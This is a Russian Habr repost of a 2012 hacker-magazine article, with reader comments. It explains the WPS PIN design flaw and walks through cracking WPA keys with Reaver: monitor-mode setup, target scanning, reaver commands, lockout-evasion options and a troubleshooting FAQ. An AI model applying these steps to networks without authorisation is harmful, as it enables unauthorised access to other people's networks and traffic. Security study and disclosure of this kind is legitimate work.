Компания
95,16
рейтинг
15 мая 2012 в 10:34

Разработка → Взломать Wi-Fi за 10 часов

Еще не так давно казалось, что беспроводная сеть, защищенная с помощью технологии WPA2, вполне безопасна. Подобрать простой ключ для подключения действительно возможно. Но если установить по-настоящему длинный ключ, то сбрутить его не помогут ни радужные таблицы, ни даже ускорения за счет GPU. Но, как оказалось, подключиться к беспроводной сети можно и без этого — воспользовавшись недавно найденной уязвимостью в протоколе WPS.




Цена упрощений


Открытых точек доступа, к которым вообще не надо вводить ключ для подключения, становится все меньше и меньше. Кажется, что скоро их можно будет занести в Красную книгу. Если раньше человек мог даже и не знать, что беспроводную сеть можно закрыть ключом, обезопасив себя от посторонних подключений, то теперь ему все чаще подсказывают о такой возможности. Взять хотя бы кастомные прошивки, которые выпускают ведущие провайдеры для популярных моделей роутеров, чтобы упростить настройку. Нужно указать две вещи — логин/пароль и… ключ для защиты беспроводной сети. Что еще более важно, сами производители оборудования стараются сделать процесс настройки незамысловатым. Так, большинство современных роутеров поддерживают механизм WPS (Wi-Fi Protected Setup). С его помощью пользователь за считанные секунды может настроить безопасную беспроводную сеть, вообще не забивая себе голову тем, что «где-то еще нужно включить шифрование и прописать WPA-ключ». Ввел в системе восьмизначный символьный PIN, который написан на роутере, – и готово! И вот здесь держись крепче. В декабре сразу два исследователя рассказали о серьезных фундаментальных прорехах в протоколе WPS. Это как черный ход для любого роутера. Оказалось, что если в точке доступа активирован WPS (который, на минуточку, включен в большинстве роутеров по умолчанию), то подобрать PIN для подключения и извлечь ключ для подключения можно за считанные часы!

Как работает WPS?


Задумка создателей WPS хороша. Механизм автоматически задает имя сети и шифрование. Таким образом, пользователю нет необходимости лезть в веб-интерфейс и разбираться со сложными настройками. А к уже настроенной сети можно без проблем добавить любое устройство (например, ноутбук): если правильно ввести PIN, то он получит все необходимые настройки. Это очень удобно, поэтому все крупные игроки на рынке (Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL) сейчас предлагают беспроводные роутеры с поддержкой WPS. Разберемся чуть подробнее.
Существует три варианта использования WPS:
  1. Push-Button-Connect (PBC). Пользователь нажимает специальную кнопку на роутере (хардварную) и на компьютере (софтварную), тем самым активируя процесс настройки. Нам это неинтересно.
  2. Ввод PIN-кода в веб-интерфейсе.Пользователь заходит через браузер в административный интерфейс роутера и вводит там PIN-код из восьми цифр, написанный на корпусе устройства (рисунок 1), после чего происходит процесс настройки. Этот способ подходит скорее для первоначальной конфигурации роутера, поэтому мы его рассматривать тоже не будем.
    Рисунок 1. PIN-код WPS, написанный на корпусе роутера
  3. Ввод PIN-кода на компьютере пользователя (рисунок 2).
    При соединении с роутером можно открыть специальную сессию WPS, в рамках которой настроить роутер или получить уже имеющиеся настройки, если правильно ввести PIN-код. Вот это уже привлекательно. Для открытия подобной сессии не нужна никакая аутентификация. Это может сделать любой желающий! Получается, что PIN-код уже потенциально подвержен атаке типа bruteforce. Но это лишь цветочки.
    Рисунок 2. Окно для ввода PIN-кода WPS


Уязвимость


Как я уже заметил ранее, PIN-код состоит из восьми цифр — следовательно, существует 10^8 (100 000 000) вариантов для подбора. Однако количество вариантов можно существенно сократить. Дело в том, что последняя цифра PIN-кода представляет собой некую контрольную сумму, которая высчитывается на основании семи первых цифр. В итоге получаем уже 10^7 (10 000 000) вариантов. Но и это еще не все! Далее внимательно смотрим на устройство протокола аутентификации WPS (рисунок 3). Такое ощущение, что его специально проектировали, чтобы оставить возможность для брутфорса. Оказывается, проверка PIN-кода осуществляется в два этапа. Он делится на две равные части, и каждая часть проверяется отдельно!
Рисунок 3. Протокол аутентификации WPS

Посмотрим на схему:
  1. Если после отсылки сообщения M4 атакующий получил в ответ EAP-NACK, то он может быть уверен, что первая часть PIN-кода неправильная.
  2. Если же он получил EAP-NACK после отсылки M6, то, соответственно, вторая часть PIN-кода неверна. Получаем 10^4 (10 000) вариантов для первой половины и 10^3 (1 000) для второй. В итоге имеем всего лишь 11 000 вариантов для полного перебора. Чтобы лучше понять, как это будет работать, посмотри на схему.
  3. Важный момент — возможная скорость перебора. Она ограничена скоростью обработки роутером WPS-запросов: одни точки доступа будут выдавать результат каждую секунду, другие — каждые десять секунд. Основное время при этом затрачивается на расчет открытого ключа по алгоритму Диффи-Хеллмана, он должен быть сгенерирован перед шагом M3. Затраченное на это время можно уменьшить, выбрав на стороне клиента простой секретный ключ, который в дальнейшем упростит расчеты других ключей. Практика показывает, что для успешного результата обычно достаточно перебрать лишь половину всех вариантов, и в среднем брутфорс занимает всего от четырех до десяти часов.

Рисунок 4. Блок-схема брутфорса PIN-кода WPS


Первая реализация


Первой появившейся реализацией брутфорса стала утилита wpscrack, написанная исследователем Стефаном Фибёком на языке Python. Утилита использовала библиотеку Scapy, позволяющую инъектировать произвольные сетевые пакеты. Сценарий можно запустить только под Linux-системой, предварительно переведя беспроводной интерфейс в режим мониторинга. В качестве параметров необходимо указать имя сетевого интерфейса в системе, MAC-адрес беспроводного адаптера, а также MAC-адрес точки доступа и ее название (SSID).

$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v
sniffer started
trying 00000000
attempt took 0.95 seconds
trying 00010009
<...>
trying 18660005
attempt took 1.08 seconds
trying 18670004 # found 1st half of PIN
attempt took 1.09 seconds
trying 18670011
attempt took 1.08 seconds
<...>
trying 18674095 # found 2st half of PIN
<...>
Network Key:
0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo
0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras
0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac
0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65 king_this_one
<...>


Как видишь, сначала была подобрана первая половина PIN-кода, затем — вторая, и в конце концов программа выдала готовый к использованию ключ для подключения к беспроводной сети. Сложно представить, сколько времени потребовалось бы, чтобы подобрать ключ такой длины (61 символ) ранее существовавшими инструментами. Впрочем, wpscrack не единственная утилита для эксплуатации уязвимости, и это довольно забавный момент: в то же самое время над той же самой проблемой работал и другой исследователь — Крейг Хеффнер из компании Tactical Network Solutions. Увидев, что в Сети появился работающий PoC для реализации атаки, он опубликовал свою утилиту Reaver. Она не только автоматизирует процесс подбора WPS-PIN и извлекает PSK-ключ, но и предлагает большее количество настроек, чтобы атаку можно было осуществить против самых разных роутеров. К тому же она поддерживает намного большее количество беспроводных адаптеров. Мы решили взять ее за основу и подробно описать, как злоумышленник может использовать уязвимость в протоколе WPS для подключения к защищенной беспроводной сети.

HOW-TO


Как и для любой другой атаки на беспроводную сеть, нам понадобится Linux. Тут надо сказать, что Reaver присутствует в репозитории всеми известного дистрибутива BackTrack, в котором к тому же уже включены необходимые драйвера для беспроводных устройств. Поэтому использовать мы будем именно его.

Шаг 0. Готовим систему
На официальном сайте BackTrack 5 R1 доступен для загрузки в виде виртуальной машины под VMware и загрузочного образа ISO. Рекомендую последний вариант. Можно просто записать образ на болванку, а можно с помощью программы UNetbootin сделать загрузочную флешку: так или иначе, загрузившись с такого носителя, мы без лишних заморочек сразу будем иметь систему, готовую к работе.

Шаг 1. Вход в систему
Логин и пароль для входа по умолчанию – root:toor. Оказавшись в консоли, можно смело стартовать «иксы» (есть отдельные сборки BackTrack — как с GNOME, так и KDE):

$ startx

Шаг 2. Установка Reaver
Чтобы загрузить Reaver, нам понадобится интернет. Поэтому подключаем патчкорд или настраиваем беспроводной адаптер (меню «Applications > Internet > Wicd Network Manager»). Далее запускаем эмулятор терминала, где загружаем последнюю версию утилиты через репозиторий:

$ apt-get update
$ apt-get install reaver


Тут надо сказать, что в репозитории находится версия 1.3, которая лично у меня заработала неправильно. Поискав информацию о проблеме, я нашел пост автора, который рекомендует обновиться до максимально возможной версии, скомпилировав исходники, взятые из SVN. Это, в общем, самый универсальный способ установки (для любого дистрибутива).

$ svn checkout reaver-wps.googlecode.com/svn/trunk reaver-wps
$ cd ./reaver-wps/src/
$ ./configure
$ make
$ make install


Никаких проблем со сборкой под BackTrack не будет — проверено лично. В дистрибутиве Arch Linux, которым пользуюсь я, установка производится и того проще, благодаря наличию соответствующего PKGBUILD'а:

$ yaourt -S reaver-wps-svn

Рисунок 5. Пример работы брутфорcа Reaver


Шаг 3. Подготовка к брутфорсу
Для использования Reaver необходимо проделать следующие вещи:
  • перевести беспроводной адаптер в режим мониторинга;
  • узнать имя беспроводного интерфейса;
  • узнать MAC-адрес точки доступа (BSSID);
  • убедиться, что на точке активирован WPS.


Для начала проверим, что беспроводной интерфейс вообще присутствует в системе:

$ iwconfig

Если в выводе этой команды есть интерфейс с описанием (обычно это wlan0) – значит, система распознала адаптер (если он подключался к беспроводной сети, чтобы загрузить Reaver, то лучше оборвать подключение). Переведем адаптер в режим мониторинга:

$ airmon-ng start wlan0

Эта команда создает виртуальный интерфейс в режиме мониторинга, его название будет указано в выводе команды (обычно это mon0). Теперь нам надо найти точку доступа для атаки и узнать её BSSID. Воспользуемся утилитой для прослушки беспроводного эфира airodump-ng:

$ airodump-ng mon0

На экране появится список точек доступа в радиусе досягаемости. Нас интересуют точки с шифрованием WPA/WPA2 и аутентификацией по ключу PSK. Лучше выбирать одну из первых в списке, так как для проведения атаки желательна хорошая связь с точкой. Если точек много и список не умещается на экране, то можно воспользоваться другой известной утилитой — kismet, там интерфейс более приспособлен в этом плане. Опционально можно на месте проверить, включен ли на нашей точке механизм WPS. Для этого в комплекте с Reaver (но только если брать его из SVN) идет утилита wash:

$ ./wash -i mon0

В качестве параметра задается имя интерфейса, переведенного в режим мониторинга. Также можно использовать опцию '-f' и скормить утилите .cap файл, созданный, например, тем же airodump-ng. По непонятной причине в пакет Reaver в BackTrack не включили утилиту wash. Будем надеяться, к моменту публикации статьи эту ошибку исправят.

Шаг 4. Запускаем брутфорс
Теперь можно приступать непосредственно к перебору PIN’а. Для старта Reaver в самом простом случае нужно немного. Необходимо лишь указать имя интерфейса (переведенного нами ранее в режим мониторинга) и BSSID точки доступа:

$ reaver -i mon0 -b 00:21:29:74:67:50 -vv

Ключ "-vv" включает расширенный вывод программы, чтобы мы могли убедиться, что все работает как надо.

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from 00:21:29:74:67:50
[+] Associated with 00:21:29:74:67:50 (ESSID: linksys)
[+] Trying pin 63979978


Если программа последовательно отправляет PIN’ы точке доступа, значит, все завелось хорошо, и остается тупо ждать. Процесс может затянуться. Самое короткое время, за которое мне удалось сбрутфорсить PIN, составило примерно пять часов. Как только он будет подобран, программа радостно об этом сообщит:

[+] Trying pin 64637129
[+] Key cracked in 13654 seconds
[+] WPS PIN: '64637129'
[+] WPA PSK: 'MyH0rseThink$YouStol3HisCarrot!'
[+] AP SSID: 'linksys'


Самое ценное здесь — это, конечно же, ключ WPA-PSK, который сразу же можно использовать для подключения. Все так просто, что даже не укладывается в голове.

Рисунок 6. Reaver Pro — железка от создателей Reaver


Можно ли защититься?


Защититься от атаки можно пока одним способом — отключить нафиг WPS в настройках роутера. Правда, как оказалось, сделать это возможно далеко не всегда. Поскольку уязвимость существует не на уровне реализации, а на уровне протокола, ждать от производителей скорого патча, который решил бы все проблемы, не стоит. Самое большее, что они могут сейчас сделать, – это максимально противодействовать брутфорсу. Например, если блокировать WPS на один час после пяти неудачных попыток ввода PIN-кода, то перебор займет уже около 90 дней. Но другой вопрос, насколько быстро можно накатить такой патч на миллионы устройств, которые работают по всему миру?


Прокачиваем Reaver


В HOWTO мы показали самый простой и наиболее универсальный способ использования утилиты Reaver. Однако реализация WPS у разных производителей отличается, поэтому в некоторых случаях необходима дополнительная настройка. Ниже я приведу дополнительные опции, которые могут повысить скорость и эффективность перебора ключа.
  1. Можно задать номер канала и SSID точки доступа:
    # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
  2. Благотворно сказывается на скорости брутфорса опция '--dh-small', которая задает небольшое значение секретного ключа, тем самым облегчая расчеты на стороне точки доступа:
    # reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
  3. Таймаут ожидания ответа по умолчанию равен пяти секундам. При необходимости его можно изменить:
    # reaver -i mon0 -b 00:01:02:03:04:05 -t 2
  4. Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:
    # reaver -i mon0 -b 00:01:02:03:04:05 -d 0
  5. Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь. Reaver эту ситуацию замечает и делает паузу в переборе на 315 секунд по умолчанию, длительность этой паузы можно менять:
    # reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
  6. Некоторые реализации протокола WPS разрывают соединение при неправильном PIN-коде, хотя по спецификации должны возвращать особое сообщение. Reaver автоматически распознает такую ситуацию, для этого существует опция '--nack':
    # reaver -i mon0 -b 00:01:02:03:04:05 --nack
  7. Опция '--eap-terminate' предназначена для работы с теми АР, которые требуют завершения WPS-сессии с помощью сообщения EAP FAIL:
    # reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
  8. Возникновение ошибок в WPS-сессии может означать, что АР ограничивает число попыток ввода PIN-кода, либо просто перегружена запросами. Информация об этом будет отображаться на экране. В этом случае Reaver приостанавливает свою деятельность, причем время паузы может быть задано с помощью опции '--fail-wait':
    # reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360



FAQ


Вопрос: Какой беспроводной адаптер нужен для взлома?
Ответ: Перед тем как экспериментировать, нужно убедиться, что беспроводной адаптер может работать в режиме мониторинга. Лучший способ — свериться со списком поддерживаемого оборудования на сайте проекта Aircrack-ng (bit.ly/wifi_adapter_list). Если же встанет вопрос о том, какой беспроводный модуль купить, то начать можно с любого адаптера на чипсете RTL8187L. USB’шные донглы легко найти в интернете за 20$.

Вопрос: Почему у меня возникают ошибки «timeout» и «out of order»?
Ответ: Обычно это происходит из-за низкого уровня сигнала и плохой связи с точкой доступа. Кроме того, точка доступа может на время заблокировать использование WPS.

Вопрос: Почему у меня не работает спуфинг MAC-адреса?
Ответ: Возможно, ты спуфишь MAC виртуального интерфейса mon0, а это работать не будет. Надо указывать имя реального интерфейса, например, wlan0.

Вопрос: Почему при плохом сигнале Reaver работает плохо, хотя тот же взлом WEP проходит нормально?
Ответ: Обычно взлом WEP происходит путем повторной пересылки перехваченных пакетов, чтобы получить больше векторов инициализации (IV), необходимых для успешного взлома. В этом случае неважно, потерялся какой-либо пакет, либо как-то был поврежден по пути. А вот для атаки на WPS необходимо строгое следование протоколу передачи пакетов между точкой доступа и Reaver для проверки каждого PIN-кода. И если при этом какой-то пакет потеряется, либо придет в непотребном виде, то придется заново устанавливать WPS-сессию. Это делает атаки на WPS гораздо более зависимыми от уровня сигнала. Также важно помнить, что если твой беспроводной адаптер видит точку доступа, то это ещё не значит, что и точка доступа видит тебя. Так что если ты являешься счастливым обладателем высокомощного адаптера от ALFA Network и антенны на пару десятков dBi, то не надейся, что получится поломать все пойманные точки доступа.

Вопрос: Reaver все время посылает точке доступа один и тот же PIN, в чем дело?
Ответ: Проверь, активирован ли на роутере WPS. Это можно сделать при помощи утилиты wash: запусти её и проверь, что твоя цель находится в списке.

Вопрос: Почему я не могу ассоциироваться с точкой доступа?
Ответ: Это может быть из-за плохого уровня сигнала или потому, что твой адаптер непригоден для подобных изысканий.

Вопрос: Почему я постоянно получаю ошибки «rate limiting detected»?
Ответ: Это происходит потому, что точка доступа заблокировала WPS. Обычно это временная блокировка (около пяти минут), но в некоторых случаях могут влепить и перманентный бан (разблокировка только через административную панель). Есть один неприятный баг в Reaver версии 1.3, из-за которого не определяются снятия подобных блокировок. В качестве воркэраунда предлагают использовать опцию '--ignore-locks' или скачать последнюю версию из SVN.

Вопрос: Можно ли одновременно запустить два и более экземпляров Reaver для ускорения атаки?
Ответ: Теоретически можно, но если они будут долбить одну и ту же точку доступа, то скорость перебора едва ли увеличится, так как в данном случае она ограничивается слабым железом точки доступа, которое уже при одном атакующем загружается по полной.


Экспресс-курс по взлому Wi-Fi


  1. WEP (Wired Equivalent Privacy). Самая первая технология для защиты беспроводной сети оказалась крайне слабой. Взломать ее можно буквально за несколько минут, используя слабости применяемого в ней шифра RC4. Основными инструментами здесь служат снифер airodump-ng для сбора пакетов и утилита aircrack-ng, используемая непосредственно для взлома ключа. Также существует специальная тулза wesside-ng, которая вообще взламывает все близлежащие точки с WEP в автоматическом режиме.
  2. WPA/WPA2 (Wireless Protected Access). Перебор — это единственный способ подобрать ключ для закрытой WPA/WPA2 сети (да и то исключительно при наличии дампа так называемого WPA Handshake, который передается в эфир при подключении клиента к точке доступа). Брутфорс может затянуться на дни, месяцы и годы. Для увеличения эффективности перебора сначала использовались специализированные словари, потом были сгенерированы радужные таблицы, позже появились утилиты, задействовавшие технологии NVIDIA CUDA и ATI Stream для аппаратного ускорения процесса за счет GPU. Используемые инструменты — aircrack-ng (брутфорс по словарю), cowpatty (с помощью радужных таблиц), pyrit (с использованием видеокарты).


image
Журнал Хакер, Март (03) 158
Автор: pkruglov (ivinside.blogspot.com)


Полистать этот материал в журнальной верстке можно здесь.

Подпишись на «Хакер»


Автор: @gorl

Комментарии (160)

  • –82
    У моей соседки открытый wi-fi, так что и ломать ничего не приходится.
    • +182
      Держите нас в курсе.
      • +4
        Когда закроет, то обязательно отпишусь.
        • +3
          У вас наготове другой источник бесплатного интернет-подключения?
          • 0
            Я этим и этим не пользуюсь. Я могу себе позволить выделить 600 руб в месяц за безлимитный интернет 50 мбит.
    • –17
      Один раз я оставил открытым вай-фай, потом ко мне пришел полупьяный сосед и спросил, не моя ли это открытая точка. Пришлось закрыть.
      • +9
        А что хотел-то?
        • +14
          А он сам не знал. Его удивило, что вдруг какая-то точка появилась в доме на восемь квартир.
      • +1
        Больше не ходит?
      • +8
        Зачем закрывать то? Он с оружием пришел?
        • +2
          Личная сетка, расшаренное барахло, да и чтоб не смущала. Самое забавное, что интернет у всех есть, в дом заходит оптика и локалка разведена на все квартиры.
        • +1
          Думаю, он хотел зайти с проставой, но, как Винни Пух в мультике, выпил все по дороге :)
    • –2
      Уясе, наминусовали О_о
  • +19
    Полез вырубать WPS, один фиг им не пользуюсь.
    • 0
      Именно это уже сделал.
    • +4
      По привычке отключаю всякое не нужное при первоначальной настройке. Хотя бы потому, что капелька ресурсов да освободится.
    • +2
      Я тоже полез, но не нашёл 8/
      Прошивка Tomato.
      • +3
        Tomato не поддерживает WPS. Yay! :)
        • 0
          О даже как.

          Сейчас проверил на планшете: действительно, значка WPS напротив моей точки нет.
      • +3
        А в ней оно вроде как выпилено по дефолту, и на кнопку WPS можно свои действия повесить. Что правильно, я считаю =)
    • НЛО прилетело и опубликовало эту надпись здесь
  • +2
    Да уж, как-то печально совсем. 10 часов это ушел на работу/учебу, вернулся и все готово.
    • –1
      Включите ограничение по mac, в большинстве роутеров оно есть.
      • 0
        Спасибо, для меня это не особо актуально. У меня microtik, там все зарезано.
      • +7
        Вредный совет. Сменить MAC на беспроводном интерфейсе в большинстве случаев не проблема, узнать какой mac в белом списке и того проще.
        • 0
          Да, я уже ниже прочитал, мне стыдно. Куда бы спрятаться? (:
      • 0
        MAC же нешифрованый вроде как летает. Так что вечером MAC отснифил, подождал, пока хозяин точки на работу уйдет, MAC склонировал и запустил брутфорс. Да, пользоваться одновременно с хозяином не получится. Но обычно все разрешенные MAC адреса не подключаются одновременно, так что проблема не очень большая.
      • 0
        и что, мак так сложно поменять?
      • 0
        против mac spoofing не поможет
  • 0
    Спасибо за статью! Я как-то даже и не задумывался, что соседи (бабушки и дедушки) будут ломать мою сетку.
    В домашних условиях эта уязвимость как-то не сильно пугает, все же и безлимитный пакет и информации подходящего содержания нету, кому нужны мои фотки… А вот что будут делать компании, у которых вай-фай очень активно используется это уже интересный вопрос.

    P.S.: можно теперь будет сидеть в кафешках и не просить ключ от вай-фая, только долго сидеть придется, но для сильно жаждущих это, наверное, не будет проблемой
    • +3
      В нормальных компаниях используется иная авторизация…
    • 0
      Вы ССЗБ, берете чашечку кофе, и просите ключ от Wi-Fi в чем проблема? Зачем изобретать себе сложности и играть на грани УК?
      • НЛО прилетело и опубликовало эту надпись здесь
      • 0
        это не на грани, а уже за. Несанкционированное вмешательство в работу компьютерных сетей.
  • 0
    Если бы рутеры позволяли отключать только «Ввод PIN-кода на компьютере пользователя»…
    Ибо конфигурация по нажатию кнопки очень симпатична и относительно защищена необходимостью физического доступа к телу.
    Так что пока, уже месяц как отключен WPS. Жду решений проблемы.
    Хотя если верить Стивену Гибсону, просвета пока не видно.
  • +19
    Мой старый DWL-2100AP даже и не слышал о том, что такое WPS :)
    • +2
      Ага, я нашёл ещё один плюс у своего копеечного TP-Link WR541G %)
    • +2
      Новый Airport Extreme про него тоже не знает.
    • 0
      SES
  • +3
    Решил посмотреть новую прошивку на свой Е2500. Недавно появилась

    — Added controls to enable or disable WPS.
    — WPS functionality will be locked down for a specified time after multiple repeated WPS connection failures.
    • 0
      Думаете часто люди перепрошиваются?
      • +1
        Зачем мне думать о людях? Тем более стандартно устанавливается Cisco Connect следящий за новыми прошивками и настойчиво предлагающий обновится.
  • +32
    У меня открытый wi-fi уже третий год. Пусть пользуется кто хочет, мне не жалко.
    • +41
      image
      • НЛО прилетело и опубликовало эту надпись здесь
        • +1
          Этот симпотный медвед есть педобир, и намекает он на неиллюзорную возможность сесть за распространение детской порнографии соседом-педофилом через открытую точку доступа.
          • НЛО прилетело и опубликовало эту надпись здесь
    • +7
      Я бы так не рисковал.
      habrahabr.ru/post/139176/
      Ну, разве что в том случае, если на всех сайтах, что вы сидите используется https. Но это не так, ведь вы на хабре :-)
      • +9
        Возможно, у него тройной каскад шифрованных туннелей через разные страны. И вообще он из дома в интернеты не выходит, а только из макдональдса. А домой просто так инет провёл, чтобы внимание не привлекать. (:
        • НЛО прилетело и опубликовало эту надпись здесь
      • +8
        Да кому я нужен :)
        • +8
          Воспользуется малолетний гений вашей сетью, чтобы сканировать порты Пентагона, и потом доказывайте, что вы не верблюд.
          • +1
            да или просто, чтобы написать статус с соц сети от вашего имени «я свиноколбас» :-)
            • 0
              Напишет, и что в этом такого?) Поржут и забудут.
            • +3
              клёвая идея, поставил себе в одноклассниках такой статус
              • +2
                Да, сколько всего полезного можно на хабре почерпнуть :-))
    • +7
      Чтобы кто-то левый с моего IP-адреса писал на сайтах и творил что хотел? Нет уж. Спасибо. Для друзей не жалко, я им настрою, а остальные пусть идут лесом.
    • 0
      Немного не в тему, но мне вспомнилась история.
      Еще будучи студентом я в порыве альтруизма открыл всем одногруппникам доступ к своему пользователю на сервере Alpha (насколько я знаю, эти древние 64-битные монстры до сих пор там стоят, на них проводятся лабораторные), мол, берите мои программы, пользуйтесь сколько хотите, копируйте и т.п. Все было прекрасно до тех пор, пока один хороший, но отличающийся специфической логикой парень таки удалил все, до чего смог дотянуться.
      • 0
        а что режим, только для чтения нельзя было поставить?
  • 0
    Вопрос — если я цепляюсь к точке, сломанной таким образом, может ли хозяин перехватить мой трафик и анализировать его? Т.е. насколько безопасно при таком подключении вводить пароли итд?
    • +1
      Сможет
    • 0
      Т.е. может ли хозяин точки ловить и анализировать? Да запросто.
    • 0
      Может.
    • +6
      Конечно может, но стоит поднять VPN-туннель, как проблема отпадает.
  • 0
    Всегда, когда настраивал себе и друзьям роутеры выключал эту функцию, т.к. понимал что подобрать числовые пароли очень легко. Спасибо за статью, очень хорошая и интересная.
  • +3
    После прочтения романа Сергея Лукьяненко «Лабиринт отражений» стал очень сложно относиться к паролям на важные доступы. Там персонаж Маньяк, так вот он учит молодого как надо придумавать пароли. Не цифровые!
    • +2
      У Падлы пароль вне конкуренции.
      • НЛО прилетело и опубликовало эту надпись здесь
        • 0
          Ага, «Сорок тысяч обезьян в попу сунули банан». Правда я пароль немного исказил, а то ломанут Падлу, и с меня будут спрашивать. :-)
          • 0
            это Маньяка пароль
            • 0
              и с жопой. и точка в конце
            • 0
              Чингиза это пароль.
          • НЛО прилетело и опубликовало эту надпись здесь
        • 0
          У Падлы не про обезъян был.
          • 0
            да, это главная загадка книги, но это уже не в рамках статьи и обсуждения ;-)
            • 0
              Вот вот. А про обезьян — это Чингиза пароль, вообще-то :)
  • 0
    По сути если разрешить доступ только по MAC то все эти проблемы волновать не будут?
    • +3
      Ограничение по MAC адресу это такая детская мера, что ее вообще можно не использовать, только себе жизнь усложнять.
      • +1
        А что детского и в чем усложнения?
        • 0
          Обходится одной строчкой в консоли. А усложнения в том, что новое устройство не подключить не добавив его в список девайсов.
          • 0
            Он имеет в виду не Black-list, а White-list
            • +2
              И White-list вдруг стало сложно обойти? Список девайсов которые подключены к AP известен еще до взлома. Такие дела. С Blacklist как раз нет проблем с добавлением новых устройств, но вы не осилил предложение до конца.
            • 0
              Да, именно так. Это же никак не обойти? Только если узнать MAC разрешенных устройств?
              • +5
                МАС адреса подключенных устройств передаются в открытом виде, и узнать их не проблема, так же как и изменить свой адрес на нужный.
                • 0
                  Понял. Значит действительно толку мало от этого.
                • 0
                  Упс, не знал, что они передаются в открытом виде, что ж теперь делать-то? Придётся искать роутер с кнопкой.
  • 0
    А мне удобно было подключать оборудование дома нажатием кнопки сбоку. и пароль от wi-fi я сам не знаю даже.
    я так предполагаю, что пин если отключить — вроде в dir-300 можно, то не проканает уже?
    • 0
      Так вроде бы такие устройства не уязвимы.
  • 0
    Черт, пошел копать настройки и не нашел в йотовском маршрутизаторе отключения WPS. Прошивку что ли обновить…
  • НЛО прилетело и опубликовало эту надпись здесь
    • +3
      а тут уже приклеена)
    • 0
      Мне один раз на работе пригодилась — начальник забыл пароль от вафли, пришлось кнопочку жмакать.
    • 0
      Ну по идее WPS должен включаться на несколько секунд пока пользователь не спейрится и отключаться после этого. Поэтому и пин простой, что отбрутфорсить времени не должно хватить. А на тач девайсах с экранной клавиатурой длиннющие пароли с массой спецсимволов вводить всяко сложнее, чем пин из 8 цифр.

      Не понимаю вообще, зачем WPS держать включенным постоянно.
      • НЛО прилетело и опубликовало эту надпись здесь
    • НЛО прилетело и опубликовало эту надпись здесь
      • НЛО прилетело и опубликовало эту надпись здесь
  • +1
    Ага! А ведь это сговор между производителями роутеров и анти-WiFi обоев, что рекламировани на прошлой неделе :)
    • 0
      Так и есть, ведь нам «специалисты» доказывали бесполезность обоев и необходимость верить в секьюрность выливающегося за стены квартиры или офиса вайфая.
  • 0
    скачал Back Track по представленной ссылке www.backtrack-linux.org/. «Иксы» не стартуют, в принципе без них тоже работает. Один вопрос, в случае, если моргнул свет, сохраняются ли результаты на флэшке? Можно продолжить сканирование?
    • 0
      Как-то раз Бэктрэк не дружил с АМД-видеокартой, но это было давно. Что интересно, тогда он был на Slax, не знаю на чем сейчас. Так вот Slax запускался с X без проблем.
  • НЛО прилетело и опубликовало эту надпись здесь
    • 0
      Спасибо, пофиксили.
  • +1
    Отключил WPS как только купил первый роутер с его поддержкой, после того как почитал про WPS — были подозрения что лучше отключить это непотребство от греха подальше, к тому же сам я ей не пользуюсь. Как в воду глядел!
  • +3
    О, спасибо что напомнили, нужно открыть свою точку, чтобы соседи зря не тратили 10 часов.
  • 0
    Хм. Когда купил роутер и занялся настройкой, то сразу выяснил в википедии, что WPS — это не защита, а дырка. :)
  • 0
    Рассудите

    фраза
    Так что если ты являешься счастливым обладателем высокомощного адаптера от ALFA Network и антенны на пару десятков dBi, то не надейся, что получится поломать все пойманные точки доступа.


    не должна читаться как
    Так что если ты НЕ являешься счастливым обладателем высокомощного адаптера от ALFA Network и антенны на пару десятков dBi, то не надейся, что получится поломать все пойманные точки доступа.
    • 0
      Нет, у автора все правильно написано. Если у тебя стоит крутой передатчик, и узконаправленная антенна которой ты можешь палить спутники — это значит только то, что от тебя есть хороший устойчивый сигнал. А вот у точки доступа может быть слабенький передатчик, и проволочная антенна. И, как следствие, ее сигнал может быть далек от идеала.
      • 0
        спасибо
  • +4
    Может вопрос не совсем в тему. Скажите, gorl, вы будете выкладывать номера вашего журнала на сайте? Последний номер в свободном доступе — восьмой за 2011, сейчас уже месяц май 2012. Раньше, кажется, регулярней выкладывали.
  • 0
    Сразу пошел рыть — а есть ли этот wps на linksys wrt54gl.
    Видел там кнопку настройки.
    Нарыл тему в сети — blogs.computerworld.com/19551/wifi_routers_oldies_are_goodies
    Вместо wps там стоит ses — (SES is a precursor to WPS. It has the push-button configuration but not the external registrar PIN feature so it is not vulnerable to having a PIN brute forced remotely.)
    Возрадовался ))

    При этом есть другая тема — superuser.com/questions/374624/how-do-i-configure-my-linksys-routers-to-resist-the-wps-brute-force-vulnerabilit, в которой новые роутеры — 5Гц-вые имеют этот самый wps.
    И буржуи в теме еще с января…
    Циска обещала отключить wps весной. НО воз и ныне там.
  • 0
    Добавить можно лишь то, что перебор идет «снизу», и если пин начинается, скажем, на 01, то нужно сильно меньше 10 часов, что крайне радует.
  • 0
    У меня банальный вопрос- как убедиться, что WPS врублен на целевой точке?
    • 0
      C другой машины использовать софтинку о которой говорится в статье.
      Правда у меня выдает подоброе — Все верно работает или нет?
      [+] Sending WSC NACK
      [+] Trying pin 77775672
      [+] Sending EAPOL START request
      [!] WARNING: Receive timeout occurred
      [+] Sending EAPOL START request
      [!] WARNING: Receive timeout occurred
      [+] Sending EAPOL START request
      [!] WARNING: Receive timeout occurred
      [+] Sending EAPOL START request
      [!] WARNING: Receive timeout occurred
      [+] Sending EAPOL START request
      [+] Sending WSC NACK
      [!] WPS transaction failed (code: 0x03), re-trying last pin
      [+] Trying pin 77775672
      [+] Sending EAPOL START request
      [+] Received identity request
    • 0
      У меня телефон на Android рисует значок «Обновить» рядом с точкой при поиске, если WPS есть.
  • 0
    читаю посты
